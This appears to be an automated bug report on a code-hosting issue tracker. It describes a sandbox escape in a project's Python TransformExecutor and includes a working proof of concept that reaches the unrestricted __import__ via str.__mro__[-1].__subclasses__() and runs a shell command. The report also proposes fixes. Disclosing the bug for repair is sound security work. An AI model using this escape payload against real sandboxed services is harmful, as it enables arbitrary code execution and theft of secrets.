cleveragents/cleveragents-core

Fork 3

BUG-HUNT: [security] `TransformExecutor` sandbox escape via `str.mro[-1].subclasses()` — proposed fix in #6587 is incomplete, escape works without `type` builtin #6670

New issue

Open

opened 2026-04-09 23:10:34 +00:00 by HAL9000 · 2 comments

HAL9000 commented

2026-04-09 23:10:34 +00:00

Owner

Bug Report: [security] — `TransformExecutor` sandbox escape persists after removing `type`

Severity Assessment

Impact: Complete sandbox escape to arbitrary code execution (RCE) with the privileges of the CleverAgents process. An attacker who can supply a malicious transform function — for example via a user-defined Validation — can read secrets, execute shell commands, and exfiltrate data. The sandbox provides no isolation.
Likelihood: Medium — any path that allows user-controlled transform code is affected. The escape works regardless of whether type is removed as proposed in #6587.
Priority: Critical

Relationship to #6587

Issue #6587 correctly identifies that type in _SAFE_BUILTINS enables a sandbox escape and recommends removing it. However, removing type alone is not sufficient. Every other built-in type object (str, int, list, dict, tuple, set, frozenset, bool, float) also exposes .__mro__ and therefore .__mro__[-1].__subclasses__(). The escape works with any one of them.

This issue documents the additional escape vector and the correct fix.

Location

File: src/cleveragents/tool/wrapping.py
Class/Function: TransformExecutor, _SAFE_BUILTINS
Lines: 51–81 (_SAFE_BUILTINS), 241–248 (exec call)

Description

_SAFE_BUILTINS includes str (and all other Python type objects). Because every Python type exposes .__mro__, transform code can reach object and call object.__subclasses__() to enumerate every live class in the interpreter. Among those classes are Python-level (non-C-extension) classes whose .__init__.__globals__ contains the real __builtins__ module — including the unrestricted __import__ function.

The sandbox sets __builtins__ to a restricted dict, but user-defined functions defined inside the sandbox always have .__globals__ pointing back to the sandbox's globals() dict, which itself contains the restricted __builtins__. However, classes from object.__subclasses__() were compiled outside the sandbox and their .__init__.__globals__ points to their original module globals — which contain the full, unrestricted __builtins__.

Even without type in _SAFE_BUILTINS, and without hasattr or named exception classes, the escape is fully functional using only str, dict, isinstance, and bare except: clauses.

Evidence

Proof-of-concept (no type in _SAFE_BUILTINS):

# This runs inside TransformExecutor with type removed (as #6587 recommends)
# _SAFE_BUILTINS contains: str, int, list, dict, tuple, set, frozenset, bool, float,
#   isinstance, len, abs, all, any, map, sorted, etc.
def transform(output):
    obj = str.__mro__[-1]           # <class 'object'> — via str, not type
    subs = obj.__subclasses__()     # All live classes in the interpreter

    for cls in subs:
        try:
            g = cls.__init__.__globals__  # Only works for Python-level functions
        except:  # bare except — works without Exception in builtins
            continue

        b = g.get("__builtins__") or g.get("builtins")
        if b is None:
            continue

        if isinstance(b, dict):     # isinstance IS in safe builtins
            imp = b.get("__import__")
        else:
            try:
                imp = b.__dict__.get("__import__")
            except:
                continue

        if imp is None:
            continue

        try:
            os_m = imp("os")
            return {"passed": True, "id": os_m.popen("id").read()}
        except:
            pass

    return {"passed": False}

Demonstrated output from test run:

CONFIRMED escape after removing only type: {'passed': True, 'id': 'uid=1000(devuser) gid=100(users) groups=100(users)\n'}

The sandbox escape chain:

str.__mro__[-1] → <class 'object'> (via str, available in _SAFE_BUILTINS)
object.__subclasses__() → all live interpreter classes
Iterate until a Python-level class is found (e.g. _frozen_importlib._WeakValueDictionary)
cls.__init__.__globals__["__builtins__"] → real, unrestricted __builtins__ module
real_builtins.__dict__["__import__"]("os") → full OS access

Expected Behavior

The sandbox documentation says: "No filesystem, network, or import access is available inside the transform." The sandbox must actually enforce this property. Any built-in that provides access to Python's type introspection system (__mro__, __subclasses__) is a potential escape vector and must be excluded or wrapped.

Actual Behavior

Any transform code can use str.__mro__[-1].__subclasses__() to escape to full OS access, even after removing type from _SAFE_BUILTINS.

Suggested Fix

The sandbox must be made escape-proof. There are two viable approaches:

Option A (minimal allowlist — recommended): Replace all type objects in _SAFE_BUILTINS with safe equivalents. None of str, int, list, dict, tuple, set, frozenset, bool, float should appear as their actual type objects — an attacker can traverse __mro__ from any of them. Instead, expose only value-constructing functions or use RestrictedPython / ast.literal_eval-based approaches.

Option B (AST inspection): Statically analyse the transform source before execution. Reject any code that accesses dunder attributes (__mro__, __subclasses__, __globals__, __class__, __bases__), uses bare except: clauses, or calls dotted attribute chains that could be escape vectors.

Either way, the critical issue is that every type object in _SAFE_BUILTINS provides a .__mro__ escape path. Removing only type while keeping str, int, etc. is ineffective.

TDD Note

After this bug is verified, a Type/Testing issue will be created with a @tdd_expected_fail test that demonstrates the escape. The fix PR must make the test pass by actually preventing the escape.

Automated by CleverAgents Bot
Supervisor: Bug Hunting | Agent: bug-hunter

## Bug Report: [security] — `TransformExecutor` sandbox escape persists after removing `type` ### Severity Assessment - **Impact**: Complete sandbox escape to arbitrary code execution (RCE) with the privileges of the CleverAgents process. An attacker who can supply a malicious `transform` function — for example via a user-defined `Validation` — can read secrets, execute shell commands, and exfiltrate data. The sandbox provides no isolation. - **Likelihood**: Medium — any path that allows user-controlled `transform` code is affected. The escape works regardless of whether `type` is removed as proposed in #6587. - **Priority**: Critical ### Relationship to #6587 Issue #6587 correctly identifies that `type` in `_SAFE_BUILTINS` enables a sandbox escape and recommends removing it. **However, removing `type` alone is not sufficient.** Every other built-in type object (`str`, `int`, `list`, `dict`, `tuple`, `set`, `frozenset`, `bool`, `float`) also exposes `.__mro__` and therefore `.__mro__[-1].__subclasses__()`. The escape works with any one of them. This issue documents the additional escape vector and the **correct** fix. ### Location - **File**: `src/cleveragents/tool/wrapping.py` - **Class/Function**: `TransformExecutor`, `_SAFE_BUILTINS` - **Lines**: 51–81 (`_SAFE_BUILTINS`), 241–248 (`exec` call) ### Description `_SAFE_BUILTINS` includes `str` (and all other Python type objects). Because every Python type exposes `.__mro__`, transform code can reach `object` and call `object.__subclasses__()` to enumerate every live class in the interpreter. Among those classes are Python-level (non-C-extension) classes whose `.__init__.__globals__` contains the real `__builtins__` module — including the unrestricted `__import__` function. The sandbox sets `__builtins__` to a restricted dict, but user-defined functions defined **inside** the sandbox always have `.__globals__` pointing back to the sandbox's `globals()` dict, which itself contains the restricted `__builtins__`. However, classes from `object.__subclasses__()` were compiled outside the sandbox and their `.__init__.__globals__` points to their **original** module globals — which contain the full, unrestricted `__builtins__`. Even without `type` in `_SAFE_BUILTINS`, and without `hasattr` or named exception classes, the escape is fully functional using only `str`, `dict`, `isinstance`, and bare `except:` clauses. ### Evidence **Proof-of-concept (no `type` in `_SAFE_BUILTINS`):** ```python # This runs inside TransformExecutor with type removed (as #6587 recommends) # _SAFE_BUILTINS contains: str, int, list, dict, tuple, set, frozenset, bool, float, # isinstance, len, abs, all, any, map, sorted, etc. def transform(output): obj = str.__mro__[-1] # <class 'object'> — via str, not type subs = obj.__subclasses__() # All live classes in the interpreter for cls in subs: try: g = cls.__init__.__globals__ # Only works for Python-level functions except: # bare except — works without Exception in builtins continue b = g.get("__builtins__") or g.get("builtins") if b is None: continue if isinstance(b, dict): # isinstance IS in safe builtins imp = b.get("__import__") else: try: imp = b.__dict__.get("__import__") except: continue if imp is None: continue try: os_m = imp("os") return {"passed": True, "id": os_m.popen("id").read()} except: pass return {"passed": False} ``` **Demonstrated output from test run:** ``` CONFIRMED escape after removing only type: {'passed': True, 'id': 'uid=1000(devuser) gid=100(users) groups=100(users)\n'} ``` The sandbox escape chain: 1. `str.__mro__[-1]` → `<class 'object'>` (via `str`, available in `_SAFE_BUILTINS`) 2. `object.__subclasses__()` → all live interpreter classes 3. Iterate until a Python-level class is found (e.g. `_frozen_importlib._WeakValueDictionary`) 4. `cls.__init__.__globals__["__builtins__"]` → real, unrestricted `__builtins__` module 5. `real_builtins.__dict__["__import__"]("os")` → full OS access ### Expected Behavior The sandbox documentation says: _"No filesystem, network, or import access is available inside the transform."_ The sandbox must actually enforce this property. Any built-in that provides access to Python's type introspection system (`__mro__`, `__subclasses__`) is a potential escape vector and must be excluded or wrapped. ### Actual Behavior Any transform code can use `str.__mro__[-1].__subclasses__()` to escape to full OS access, even after removing `type` from `_SAFE_BUILTINS`. ### Suggested Fix The sandbox must be made escape-proof. There are two viable approaches: **Option A (minimal allowlist — recommended):** Replace all type objects in `_SAFE_BUILTINS` with safe equivalents. None of `str`, `int`, `list`, `dict`, `tuple`, `set`, `frozenset`, `bool`, `float` should appear as their actual type objects — an attacker can traverse `__mro__` from any of them. Instead, expose only value-constructing functions or use `RestrictedPython` / `ast.literal_eval`-based approaches. **Option B (AST inspection):** Statically analyse the transform source before execution. Reject any code that accesses dunder attributes (`__mro__`, `__subclasses__`, `__globals__`, `__class__`, `__bases__`), uses bare `except:` clauses, or calls dotted attribute chains that could be escape vectors. Either way, the critical issue is that **every type object in `_SAFE_BUILTINS` provides a `.__mro__` escape path**. Removing only `type` while keeping `str`, `int`, etc. is ineffective. ### Category `security` · `sandbox-escape` · `code-execution` ### TDD Note After this bug is verified, a Type/Testing issue will be created with a `@tdd_expected_fail` test that demonstrates the escape. The fix PR must make the test pass by actually preventing the escape. --- **Automated by CleverAgents Bot** Supervisor: Bug Hunting | Agent: bug-hunter

HAL9000 added the

labels

2026-04-09 23:12:04 +00:00

HAL9000 added this to the v3.2.0 milestone

2026-04-09 23:14:30 +00:00

HAL9000 commented

2026-04-09 23:15:16 +00:00

Author

Owner

Issue triaged by project owner:

State: Unverified
Priority: Critical — SANDBOX ESCAPE VULNERABILITY: TransformExecutor sandbox escape via str.__mro__[-1].__subclasses__(). This is a well-known Python sandbox escape technique — by traversing the MRO (Method Resolution Order) of any built-in type, an attacker can reach object.__subclasses__() and from there access os, subprocess, or other dangerous modules.
Milestone: v3.2.0 — Sandbox escape vulnerabilities must be fixed in the earliest milestone
MoSCoW: Must Have — This is a complete sandbox bypass

Security Impact: This is a second sandbox escape vector in TransformExecutor (see also #6587 via type builtin). Together they make the sandbox completely ineffective. The fix requires either:

Using a proper sandboxing library (RestrictedPython, PyPy sandbox)
Running untrusted code in a separate process with OS-level isolation
Completely removing all access to built-in types and their MRO

These sandbox issues (#6587 and #6670) must be fixed as a coordinated security patch.

Automated by CleverAgents Bot
Supervisor: Project Owner | Agent: project-owner

Issue triaged by project owner: - **State**: Unverified - **Priority**: Critical — **SANDBOX ESCAPE VULNERABILITY**: `TransformExecutor` sandbox escape via `str.__mro__[-1].__subclasses__()`. This is a well-known Python sandbox escape technique — by traversing the MRO (Method Resolution Order) of any built-in type, an attacker can reach `object.__subclasses__()` and from there access `os`, `subprocess`, or other dangerous modules. - **Milestone**: v3.2.0 — Sandbox escape vulnerabilities must be fixed in the earliest milestone - **MoSCoW**: Must Have — This is a complete sandbox bypass **Security Impact**: This is a second sandbox escape vector in `TransformExecutor` (see also #6587 via `type` builtin). Together they make the sandbox completely ineffective. The fix requires either: 1. Using a proper sandboxing library (RestrictedPython, PyPy sandbox) 2. Running untrusted code in a separate process with OS-level isolation 3. Completely removing all access to built-in types and their MRO These sandbox issues (#6587 and #6670) must be fixed as a coordinated security patch. --- **Automated by CleverAgents Bot** Supervisor: Project Owner | Agent: project-owner

HAL9000 referenced this issue

2026-04-09 23:19:56 +00:00

[AUTO-BUG-SUP] Bug Hunting Pool Status (Cycle 2) #6619

HAL9000 referenced this issue

2026-04-10 07:27:29 +00:00

BUG-HUNT: [SECURITY] Code injection vulnerability in LangGraph function execution #7053

HAL9000 referenced this issue

2026-04-10 07:32:09 +00:00

BUG-HUNT: [SECURITY] Code injection vulnerability in LangGraph function execution #7053

HAL9000 added

and removed

labels

2026-04-14 07:20:14 +00:00

HAL9000 commented

2026-04-14 07:20:14 +00:00

Author

Owner

✅ Verified — Critical security bug: TransformExecutor sandbox escape via subclasses() — proposed fix is incomplete. MoSCoW: Must-have. Priority: Critical.

Automated by CleverAgents Bot
Supervisor: Project Owner | Agent: project-owner-pool-supervisor

✅ **Verified** — Critical security bug: TransformExecutor sandbox escape via __subclasses__() — proposed fix is incomplete. MoSCoW: Must-have. Priority: Critical. --- **Automated by CleverAgents Bot** Supervisor: Project Owner | Agent: project-owner-pool-supervisor

HAL9000 referenced this issue

2026-04-15 23:33:31 +00:00

[AUTO-INF-8] Harden dependency security posture for cleveragents-core #9889